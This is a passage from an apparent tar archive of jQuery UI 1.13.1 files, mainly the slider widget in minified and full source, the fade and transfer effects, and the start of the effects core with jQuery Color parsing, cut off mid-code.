t=Math.abs(i-l.values(e));(t<s||s===t&&(e===l._lastChangedValue||l.values(e)===r.min))&&(s=t,a=o(this),n=e)}),!1!==this._start(e,n)&&(this._mouseSliding=!0,this._handleIndex=n,this._addClass(a,null,"ui-state-active"),a.trigger("focus"),t=a.offset(),h=!o(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-t.left-a.width()/2,top:e.pageY-t.top-a.height()/2-(parseInt(a.css("borderTopWidth"),10)||0)-(parseInt(a.css("borderBottomWidth"),10)||0)+(parseInt(a.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,n,i),this._animateOff=!0))},_mouseStart:function(){return!0},_mouseDrag:function(e){var t={x:e.pageX,y:e.pageY},t=this._normValueFromMouse(t);return this._slide(e,this._handleIndex,t),!1},_mouseStop:function(e){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(e,this._handleIndex),this._change(e,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(e){var t,e="horizontal"===this.orientation?(t=this.elementSize.width,e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(t=this.elementSize.height,e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),e=e/t;return(e=1<e?1:e)<0&&(e=0),"vertical"===this.orientation&&(e=1-e),t=this._valueMax()-this._valueMin(),e=this._valueMin()+e*t,this._trimAlignValue(e)},_uiHash:function(e,t,i){var s={handle:this.handles[e],handleIndex:e,value:void 0!==t?t:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==t?t:this.values(e),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(e,t){return this._trigger("start",e,this._uiHash(t))},_slide:function(e,t,i){var s,a=this.value(),n=this.values();this._hasMultipleValues()&&(s=this.values(t?0:1),a=this.values(t),2===this.options.values.length&&!0===this.options.range&&(i=0===t?Math.min(s,i):Math.max(s,i)),n[t]=i),i!==a&&!1!==this._trigger("slide",e,this._uiHash(t,i,n))&&(this._hasMultipleValues()?this.values(t,i):this.value(i))},_stop:function(e,t){this._trigger("stop",e,this._uiHash(t))},_change:function(e,t){this._keySliding||this._mouseSliding||(this._lastChangedValue=t,this._trigger("change",e,this._uiHash(t)))},value:function(e){return arguments.length?(this.options.value=this._trimAlignValue(e),this._refreshValue(),void this._change(null,0)):this._value()},values:function(e,t){var i,s,a;if(1<arguments.length)return this.options.values[e]=this._trimAlignValue(t),this._refreshValue(),void this._change(null,e);if(!arguments.length)return this._values();if(!Array.isArray(e))return this._hasMultipleValues()?this._values(e):this.value();for(i=this.options.values,s=e,a=0;a<i.length;a+=1)i[a]=this._trimAlignValue(s[a]),this._change(null,a);this._refreshValue()},_setOption:function(e,t){var i,s=0;switch("range"===e&&!0===this.options.range&&("min"===t?(this.options.value=this._values(0),this.options.values=null):"max"===t&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),Array.isArray(this.options.values)&&(s=this.options.values.length),this._super(e,t),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(t),this.handles.css("horizontal"===t?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),i=s-1;0<=i;i--)this._change(null,i);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(e){this._super(e),this._toggleClass(null,"ui-state-disabled",!!e)},_value:function(){var e=this.options.value;return this._trimAlignValue(e)},_values:function(e){var t,i;if(arguments.length)return e=this.options.values[e],this._trimAlignValue(e);if(this._hasMultipleValues()){for(t=this.options.values.slice(),i=0;i<t.length;i+=1)t[i]=this._trimAlignValue(t[i]);return t}return[]},_trimAlignValue:function(e){if(e<=this._valueMin())return this._valueMin();if(e>=this._valueMax())return this._valueMax();var t=0<this.options.step?this.options.step:1,i=(e-this._valueMin())%t,e=e-i;return 2*Math.abs(i)>=t&&(e+=0<i?t:-t),parseFloat(e.toFixed(5))},_calculateNewMax:function(){var e=this.options.max,t=this._valueMin(),i=this.options.step;(e=Math.round((e-t)/i)*i+t)>this.options.max&&(e-=i),this.max=parseFloat(e.toFixed(this._precision()))},_precision:function(){var e=this._precisionOf(this.options.step);return e=null!==this.options.min?Math.max(e,this._precisionOf(this.options.min)):e},_precisionOf:function(e){var e=e.toString(),t=e.indexOf(".");return-1===t?0:e.length-t-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(e){"vertical"===e&&this.range.css({width:"",left:""}),"horizontal"===e&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var t,i,e,s,a,n=this.options.range,h=this.options,l=this,r=!this._animateOff&&h.animate,u={};this._hasMultipleValues()?this.handles.each(function(e){i=(l.values(e)-l._valueMin())/(l._valueMax()-l._valueMin())*100,u["horizontal"===l.orientation?"left":"bottom"]=i+"%",o(this).stop(1,1)[r?"animate":"css"](u,h.animate),!0===l.options.range&&("horizontal"===l.orientation?(0===e&&l.range.stop(1,1)[r?"animate":"css"]({left:i+"%"},h.animate),1===e&&l.range[r?"animate":"css"]({width:i-t+"%"},{queue:!1,duration:h.animate})):(0===e&&l.range.stop(1,1)[r?"animate":"css"]({bottom:i+"%"},h.animate),1===e&&l.range[r?"animate":"css"]({height:i-t+"%"},{queue:!1,duration:h.animate}))),t=i}):(e=this.value(),s=this._valueMin(),a=this._valueMax(),i=a!==s?(e-s)/(a-s)*100:0,u["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[r?"animate":"css"](u,h.animate),"min"===n&&"horizontal"===this.orientation&&this.range.stop(1,1)[r?"animate":"css"]({width:i+"%"},h.animate),"max"===n&&"horizontal"===this.orientation&&this.range.stop(1,1)[r?"animate":"css"]({width:100-i+"%"},h.animate),"min"===n&&"vertical"===this.orientation&&this.range.stop(1,1)[r?"animate":"css"]({height:i+"%"},h.animate),"max"===n&&"vertical"===this.orientation&&this.range.stop(1,1)[r?"animate":"css"]({height:100-i+"%"},h.animate))},_handleEvents:{keydown:function(e){var t,i,s,a=o(e.target).data("ui-slider-handle-index");switch(e.keyCode){case o.ui.keyCode.HOME:case o.ui.keyCode.END:case o.ui.keyCode.PAGE_UP:case o.ui.keyCode.PAGE_DOWN:case o.ui.keyCode.UP:case o.ui.keyCode.RIGHT:case o.ui.keyCode.DOWN:case o.ui.keyCode.LEFT:if(e.preventDefault(),this._keySliding||(this._keySliding=!0,this._addClass(o(e.target),null,"ui-state-active"),!1!==this._start(e,a)))break;return}switch(s=this.options.step,t=i=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case o.ui.keyCode.HOME:i=this._valueMin();break;case o.ui.keyCode.END:i=this._valueMax();break;case o.ui.keyCode.PAGE_UP:i=this._trimAlignValue(t+(this._valueMax()-this._valueMin())/this.numPages);break;case o.ui.keyCode.PAGE_DOWN:i=this._trimAlignValue(t-(this._valueMax()-this._valueMin())/this.numPages);break;case o.ui.keyCode.UP:case o.ui.keyCode.RIGHT:if(t===this._valueMax())return;i=this._trimAlignValue(t+s);break;case o.ui.keyCode.DOWN:case o.ui.keyCode.LEFT:if(t===this._valueMin())return;i=this._trimAlignValue(t-s)}this._slide(e,a,i)},keyup:function(e){var t=o(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,t),this._change(e,t),this._removeClass(o(e.target),null,"ui-state-active"))}}})});�js/jquery/ui/effect-transfer.min.js�����������������������������������������������������������������0000644�����������������00000000652�14717703502�0013323 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Transfer 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(f){"use strict";var e;return e=!1!==f.uiBackCompat?f.effects.define("transfer",function(e,t){f(this).transfer(e,t)}):e});��������������������������������������������������������������������������������������js/jquery/ui/effect-fade.min.js���������������������������������������������������������������������0000644�����������������00000000775�14717703502�0012404 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Fade 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(n){"use strict";return n.effects.define("fade","toggle",function(e,t){var i="show"===e.mode;n(this).css("opacity",i?0:1).animate({opacity:i?1:0},{queue:!1,duration:e.duration,easing:e.easing,complete:t})})});���js/jquery/ui/slider.js������������������������������������������������������������������������������0000644�����������������00000046144�14717703502�0010753 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Slider 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Slider //>>group: Widgets //>>description: Displays a flexible slider with ranges and accessibility via keyboard. //>>docs: http://api.jqueryui.com/slider/ //>>demos: http://jqueryui.com/slider/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/slider.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.slider", $.ui.mouse, { version: "1.13.1", widgetEventPrefix: "slide", options: { animate: false, classes: { "ui-slider": "ui-corner-all", "ui-slider-handle": "ui-corner-all", // Note: ui-widget-header isn't the most fittingly semantic framework class for this // element, but worked best visually with a variety of themes "ui-slider-range": "ui-corner-all ui-widget-header" }, distance: 0, max: 100, min: 0, orientation: "horizontal", range: false, step: 1, value: 0, values: null, // Callbacks change: null, slide: null, start: null, stop: null }, // Number of pages in a slider // (how many times can you page up/down to go through the whole range) numPages: 5, _create: function() { this._keySliding = false; this._mouseSliding = false; this._animateOff = true; this._handleIndex = null; this._detectOrientation(); this._mouseInit(); this._calculateNewMax(); this._addClass( "ui-slider ui-slider-" + this.orientation, "ui-widget ui-widget-content" ); this._refresh(); this._animateOff = false; }, _refresh: function() { this._createRange(); this._createHandles(); this._setupEvents(); this._refreshValue(); }, _createHandles: function() { var i, handleCount, options = this.options, existingHandles = this.element.find( ".ui-slider-handle" ), handle = "<span tabindex='0'></span>", handles = []; handleCount = ( options.values && options.values.length ) || 1; if ( existingHandles.length > handleCount ) { existingHandles.slice( handleCount ).remove(); existingHandles = existingHandles.slice( 0, handleCount ); } for ( i = existingHandles.length; i < handleCount; i++ ) { handles.push( handle ); } this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) ); this._addClass( this.handles, "ui-slider-handle", "ui-state-default" ); this.handle = this.handles.eq( 0 ); this.handles.each( function( i ) { $( this ) .data( "ui-slider-handle-index", i ) .attr( "tabIndex", 0 ); } ); }, _createRange: function() { var options = this.options; if ( options.range ) { if ( options.range === true ) { if ( !options.values ) { options.values = [ this._valueMin(), this._valueMin() ]; } else if ( options.values.length && options.values.length !== 2 ) { options.values = [ options.values[ 0 ], options.values[ 0 ] ]; } else if ( Array.isArray( options.values ) ) { options.values = options.values.slice( 0 ); } } if ( !this.range || !this.range.length ) { this.range = $( "<div>" ) .appendTo( this.element ); this._addClass( this.range, "ui-slider-range" ); } else { this._removeClass( this.range, "ui-slider-range-min ui-slider-range-max" ); // Handle range switching from true to min/max this.range.css( { "left": "", "bottom": "" } ); } if ( options.range === "min" || options.range === "max" ) { this._addClass( this.range, "ui-slider-range-" + options.range ); } } else { if ( this.range ) { this.range.remove(); } this.range = null; } }, _setupEvents: function() { this._off( this.handles ); this._on( this.handles, this._handleEvents ); this._hoverable( this.handles ); this._focusable( this.handles ); }, _destroy: function() { this.handles.remove(); if ( this.range ) { this.range.remove(); } this._mouseDestroy(); }, _mouseCapture: function( event ) { var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle, that = this, o = this.options; if ( o.disabled ) { return false; } this.elementSize = { width: this.element.outerWidth(), height: this.element.outerHeight() }; this.elementOffset = this.element.offset(); position = { x: event.pageX, y: event.pageY }; normValue = this._normValueFromMouse( position ); distance = this._valueMax() - this._valueMin() + 1; this.handles.each( function( i ) { var thisDistance = Math.abs( normValue - that.values( i ) ); if ( ( distance > thisDistance ) || ( distance === thisDistance && ( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) { distance = thisDistance; closestHandle = $( this ); index = i; } } ); allowed = this._start( event, index ); if ( allowed === false ) { return false; } this._mouseSliding = true; this._handleIndex = index; this._addClass( closestHandle, null, "ui-state-active" ); closestHandle.trigger( "focus" ); offset = closestHandle.offset(); mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" ); this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : { left: event.pageX - offset.left - ( closestHandle.width() / 2 ), top: event.pageY - offset.top - ( closestHandle.height() / 2 ) - ( parseInt( closestHandle.css( "borderTopWidth" ), 10 ) || 0 ) - ( parseInt( closestHandle.css( "borderBottomWidth" ), 10 ) || 0 ) + ( parseInt( closestHandle.css( "marginTop" ), 10 ) || 0 ) }; if ( !this.handles.hasClass( "ui-state-hover" ) ) { this._slide( event, index, normValue ); } this._animateOff = true; return true; }, _mouseStart: function() { return true; }, _mouseDrag: function( event ) { var position = { x: event.pageX, y: event.pageY }, normValue = this._normValueFromMouse( position ); this._slide( event, this._handleIndex, normValue ); return false; }, _mouseStop: function( event ) { this._removeClass( this.handles, null, "ui-state-active" ); this._mouseSliding = false; this._stop( event, this._handleIndex ); this._change( event, this._handleIndex ); this._handleIndex = null; this._clickOffset = null; this._animateOff = false; return false; }, _detectOrientation: function() { this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal"; }, _normValueFromMouse: function( position ) { var pixelTotal, pixelMouse, percentMouse, valueTotal, valueMouse; if ( this.orientation === "horizontal" ) { pixelTotal = this.elementSize.width; pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset ? this._clickOffset.left : 0 ); } else { pixelTotal = this.elementSize.height; pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ? this._clickOffset.top : 0 ); } percentMouse = ( pixelMouse / pixelTotal ); if ( percentMouse > 1 ) { percentMouse = 1; } if ( percentMouse < 0 ) { percentMouse = 0; } if ( this.orientation === "vertical" ) { percentMouse = 1 - percentMouse; } valueTotal = this._valueMax() - this._valueMin(); valueMouse = this._valueMin() + percentMouse * valueTotal; return this._trimAlignValue( valueMouse ); }, _uiHash: function( index, value, values ) { var uiHash = { handle: this.handles[ index ], handleIndex: index, value: value !== undefined ? value : this.value() }; if ( this._hasMultipleValues() ) { uiHash.value = value !== undefined ? value : this.values( index ); uiHash.values = values || this.values(); } return uiHash; }, _hasMultipleValues: function() { return this.options.values && this.options.values.length; }, _start: function( event, index ) { return this._trigger( "start", event, this._uiHash( index ) ); }, _slide: function( event, index, newVal ) { var allowed, otherVal, currentValue = this.value(), newValues = this.values(); if ( this._hasMultipleValues() ) { otherVal = this.values( index ? 0 : 1 ); currentValue = this.values( index ); if ( this.options.values.length === 2 && this.options.range === true ) { newVal = index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal ); } newValues[ index ] = newVal; } if ( newVal === currentValue ) { return; } allowed = this._trigger( "slide", event, this._uiHash( index, newVal, newValues ) ); // A slide can be canceled by returning false from the slide callback if ( allowed === false ) { return; } if ( this._hasMultipleValues() ) { this.values( index, newVal ); } else { this.value( newVal ); } }, _stop: function( event, index ) { this._trigger( "stop", event, this._uiHash( index ) ); }, _change: function( event, index ) { if ( !this._keySliding && !this._mouseSliding ) { //store the last changed value index for reference when handles overlap this._lastChangedValue = index; this._trigger( "change", event, this._uiHash( index ) ); } }, value: function( newValue ) { if ( arguments.length ) { this.options.value = this._trimAlignValue( newValue ); this._refreshValue(); this._change( null, 0 ); return; } return this._value(); }, values: function( index, newValue ) { var vals, newValues, i; if ( arguments.length > 1 ) { this.options.values[ index ] = this._trimAlignValue( newValue ); this._refreshValue(); this._change( null, index ); return; } if ( arguments.length ) { if ( Array.isArray( arguments[ 0 ] ) ) { vals = this.options.values; newValues = arguments[ 0 ]; for ( i = 0; i < vals.length; i += 1 ) { vals[ i ] = this._trimAlignValue( newValues[ i ] ); this._change( null, i ); } this._refreshValue(); } else { if ( this._hasMultipleValues() ) { return this._values( index ); } else { return this.value(); } } } else { return this._values(); } }, _setOption: function( key, value ) { var i, valsLength = 0; if ( key === "range" && this.options.range === true ) { if ( value === "min" ) { this.options.value = this._values( 0 ); this.options.values = null; } else if ( value === "max" ) { this.options.value = this._values( this.options.values.length - 1 ); this.options.values = null; } } if ( Array.isArray( this.options.values ) ) { valsLength = this.options.values.length; } this._super( key, value ); switch ( key ) { case "orientation": this._detectOrientation(); this._removeClass( "ui-slider-horizontal ui-slider-vertical" ) ._addClass( "ui-slider-" + this.orientation ); this._refreshValue(); if ( this.options.range ) { this._refreshRange( value ); } // Reset positioning from previous orientation this.handles.css( value === "horizontal" ? "bottom" : "left", "" ); break; case "value": this._animateOff = true; this._refreshValue(); this._change( null, 0 ); this._animateOff = false; break; case "values": this._animateOff = true; this._refreshValue(); // Start from the last handle to prevent unreachable handles (#9046) for ( i = valsLength - 1; i >= 0; i-- ) { this._change( null, i ); } this._animateOff = false; break; case "step": case "min": case "max": this._animateOff = true; this._calculateNewMax(); this._refreshValue(); this._animateOff = false; break; case "range": this._animateOff = true; this._refresh(); this._animateOff = false; break; } }, _setOptionDisabled: function( value ) { this._super( value ); this._toggleClass( null, "ui-state-disabled", !!value ); }, //internal value getter // _value() returns value trimmed by min and max, aligned by step _value: function() { var val = this.options.value; val = this._trimAlignValue( val ); return val; }, //internal values getter // _values() returns array of values trimmed by min and max, aligned by step // _values( index ) returns single value trimmed by min and max, aligned by step _values: function( index ) { var val, vals, i; if ( arguments.length ) { val = this.options.values[ index ]; val = this._trimAlignValue( val ); return val; } else if ( this._hasMultipleValues() ) { // .slice() creates a copy of the array // this copy gets trimmed by min and max and then returned vals = this.options.values.slice(); for ( i = 0; i < vals.length; i += 1 ) { vals[ i ] = this._trimAlignValue( vals[ i ] ); } return vals; } else { return []; } }, // Returns the step-aligned value that val is closest to, between (inclusive) min and max _trimAlignValue: function( val ) { if ( val <= this._valueMin() ) { return this._valueMin(); } if ( val >= this._valueMax() ) { return this._valueMax(); } var step = ( this.options.step > 0 ) ? this.options.step : 1, valModStep = ( val - this._valueMin() ) % step, alignValue = val - valModStep; if ( Math.abs( valModStep ) * 2 >= step ) { alignValue += ( valModStep > 0 ) ? step : ( -step ); } // Since JavaScript has problems with large floats, round // the final value to 5 digits after the decimal point (see #4124) return parseFloat( alignValue.toFixed( 5 ) ); }, _calculateNewMax: function() { var max = this.options.max, min = this._valueMin(), step = this.options.step, aboveMin = Math.round( ( max - min ) / step ) * step; max = aboveMin + min; if ( max > this.options.max ) { //If max is not divisible by step, rounding off may increase its value max -= step; } this.max = parseFloat( max.toFixed( this._precision() ) ); }, _precision: function() { var precision = this._precisionOf( this.options.step ); if ( this.options.min !== null ) { precision = Math.max( precision, this._precisionOf( this.options.min ) ); } return precision; }, _precisionOf: function( num ) { var str = num.toString(), decimal = str.indexOf( "." ); return decimal === -1 ? 0 : str.length - decimal - 1; }, _valueMin: function() { return this.options.min; }, _valueMax: function() { return this.max; }, _refreshRange: function( orientation ) { if ( orientation === "vertical" ) { this.range.css( { "width": "", "left": "" } ); } if ( orientation === "horizontal" ) { this.range.css( { "height": "", "bottom": "" } ); } }, _refreshValue: function() { var lastValPercent, valPercent, value, valueMin, valueMax, oRange = this.options.range, o = this.options, that = this, animate = ( !this._animateOff ) ? o.animate : false, _set = {}; if ( this._hasMultipleValues() ) { this.handles.each( function( i ) { valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() - that._valueMin() ) * 100; _set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%"; $( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate ); if ( that.options.range === true ) { if ( that.orientation === "horizontal" ) { if ( i === 0 ) { that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { left: valPercent + "%" }, o.animate ); } if ( i === 1 ) { that.range[ animate ? "animate" : "css" ]( { width: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } ); } } else { if ( i === 0 ) { that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { bottom: ( valPercent ) + "%" }, o.animate ); } if ( i === 1 ) { that.range[ animate ? "animate" : "css" ]( { height: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } ); } } } lastValPercent = valPercent; } ); } else { value = this.value(); valueMin = this._valueMin(); valueMax = this._valueMax(); valPercent = ( valueMax !== valueMin ) ? ( value - valueMin ) / ( valueMax - valueMin ) * 100 : 0; _set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%"; this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate ); if ( oRange === "min" && this.orientation === "horizontal" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: valPercent + "%" }, o.animate ); } if ( oRange === "max" && this.orientation === "horizontal" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: ( 100 - valPercent ) + "%" }, o.animate ); } if ( oRange === "min" && this.orientation === "vertical" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: valPercent + "%" }, o.animate ); } if ( oRange === "max" && this.orientation === "vertical" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: ( 100 - valPercent ) + "%" }, o.animate ); } } }, _handleEvents: { keydown: function( event ) { var allowed, curVal, newVal, step, index = $( event.target ).data( "ui-slider-handle-index" ); switch ( event.keyCode ) { case $.ui.keyCode.HOME: case $.ui.keyCode.END: case $.ui.keyCode.PAGE_UP: case $.ui.keyCode.PAGE_DOWN: case $.ui.keyCode.UP: case $.ui.keyCode.RIGHT: case $.ui.keyCode.DOWN: case $.ui.keyCode.LEFT: event.preventDefault(); if ( !this._keySliding ) { this._keySliding = true; this._addClass( $( event.target ), null, "ui-state-active" ); allowed = this._start( event, index ); if ( allowed === false ) { return; } } break; } step = this.options.step; if ( this._hasMultipleValues() ) { curVal = newVal = this.values( index ); } else { curVal = newVal = this.value(); } switch ( event.keyCode ) { case $.ui.keyCode.HOME: newVal = this._valueMin(); break; case $.ui.keyCode.END: newVal = this._valueMax(); break; case $.ui.keyCode.PAGE_UP: newVal = this._trimAlignValue( curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages ) ); break; case $.ui.keyCode.PAGE_DOWN: newVal = this._trimAlignValue( curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) ); break; case $.ui.keyCode.UP: case $.ui.keyCode.RIGHT: if ( curVal === this._valueMax() ) { return; } newVal = this._trimAlignValue( curVal + step ); break; case $.ui.keyCode.DOWN: case $.ui.keyCode.LEFT: if ( curVal === this._valueMin() ) { return; } newVal = this._trimAlignValue( curVal - step ); break; } this._slide( event, index, newVal ); }, keyup: function( event ) { var index = $( event.target ).data( "ui-slider-handle-index" ); if ( this._keySliding ) { this._keySliding = false; this._stop( event, index ); this._change( event, index ); this._removeClass( $( event.target ), null, "ui-state-active" ); } } } } ); } ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect.js������������������������������������������������������������������������������0000644�����������������00000121753�14717703502�0010725 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Effects Core //>>group: Effects /* eslint-disable max-len */ //>>description: Extends the internal jQuery effects. Includes morphing and easing. Required by all other effects. /* eslint-enable max-len */ //>>docs: http://api.jqueryui.com/category/effects-core/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; // Include version.js $.ui = $.ui || {}; $.ui.version = "1.13.1"; // Source: jquery-var-for-color.js // Create a local jQuery because jQuery Color relies on it and the // global may not exist with AMD and a custom build (#10199). // This module is a noop if used as a regular AMD module. // eslint-disable-next-line no-unused-vars var jQuery = $; /*! * jQuery Color Animations v2.2.0 * https://github.com/jquery/jquery-color * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * Date: Sun May 10 09:02:36 2020 +0200 */ var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor " + "borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor", class2type = {}, toString = class2type.toString, // plusequals test for += 100 -= 100 rplusequals = /^([\-+])=\s*(\d+\.?\d*)/, // a set of RE's that can match strings and generate color tuples. stringParsers = [ { re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, parse: function( execResult ) { return [ execResult[ 1 ], execResult[ 2 ], execResult[ 3 ], execResult[ 4 ] ]; } }, { re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, parse: function( execResult ) { return [ execResult[ 1 ] * 2.55, execResult[ 2 ] * 2.55, execResult[ 3 ] * 2.55, execResult[ 4 ] ]; } }, { // this regex ignores A-F because it's compared against an already lowercased string re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/, parse: function( execResult ) { return [ parseInt( execResult[ 1 ], 16 ), parseInt( execResult[ 2 ], 16 ), parseInt( execResult[ 3 ], 16 ), execResult[ 4 ] ? ( parseInt( execResult[ 4 ], 16 ) / 255 ).toFixed( 2 ) : 1 ]; } }, { // this regex ignores A-F because it's compared against an already lowercased string re: /#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/, parse: function( execResult ) { return [ parseInt( execResult[ 1 ] + execResult[ 1 ], 16 ), parseInt( execResult[ 2 ] + execResult[ 2 ], 16 ), parseInt( execResult[ 3 ] + execResult[ 3 ], 16 ), execResult[ 4 ] ? ( parseInt( execResult[ 4 ] + execResult[ 4 ], 16 ) / 255 ) .toFixed( 2 ) : 1 ]; } }, { re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, space: "hsla", parse: function( execResult ) { return [ execResult[ 1 ], execResult[ 2 ] / 100, execResult[ 3 ] / 100, execResult[ 4 ] ]; } } ], // jQuery.Color( ) color = jQuery.Color = function( color, green, blue, alpha ) { return new jQuery.Color.fn.parse( color, green, blue, alpha ); }, spaces = { rgba: { props: { red: { idx: 0, type: "byte" }, green: { idx: 1, type: "byte" }, blue: { idx: 2, type: "byte" } } }, hsla: { props: { hue: { idx: 0, type: "degrees" }, saturation: { idx: 1, type: "percent" }, lightness: { idx: 2, type: "percent" } } } }, propTypes = { "byte": { floor: true, max: 255 }, "percent": { max: 1 }, "degrees": { mod: 360, floor: true } }, support = color.support = {}, // element for support tests supportElem = jQuery( "<p>" )[ 0 ], // colors = jQuery.Color.names colors, // local aliases of functions called often each = jQuery.each; // determine rgba support immediately supportElem.style.cssText = "background-color:rgba(1,1,1,.5)"; support.rgba = supportElem.style.backgroundColor.indexOf( "rgba" ) > -1; // define cache name and alpha properties // for rgba and hsla spaces each( spaces, function( spaceName, space ) { space.cache = "_" + spaceName; space.props.alpha = { idx: 3, type: "percent", def: 1 }; } ); // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function( _i, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); function getType( obj ) { if ( obj == null ) { return obj + ""; } return typeof obj === "object" ? class2type[ toString.call( obj ) ] || "object" : typeof obj; } function clamp( value, prop, allowEmpty ) { var type = propTypes[ prop.type ] || {}; if ( value == null ) { return ( allowEmpty || !prop.def ) ? null : prop.def; } // ~~ is an short way of doing floor for positive numbers value = type.floor ? ~~value : parseFloat( value ); // IE will pass in empty strings as value for alpha, // which will hit this case if ( isNaN( value ) ) { return prop.def; } if ( type.mod ) { // we add mod before modding to make sure that negatives values // get converted properly: -10 -> 350 return ( value + type.mod ) % type.mod; } // for now all property types without mod have min and max return Math.min( type.max, Math.max( 0, value ) ); } function stringParse( string ) { var inst = color(), rgba = inst._rgba = []; string = string.toLowerCase(); each( stringParsers, function( _i, parser ) { var parsed, match = parser.re.exec( string ), values = match && parser.parse( match ), spaceName = parser.space || "rgba"; if ( values ) { parsed = inst[ spaceName ]( values ); // if this was an rgba parse the assignment might happen twice // oh well.... inst[ spaces[ spaceName 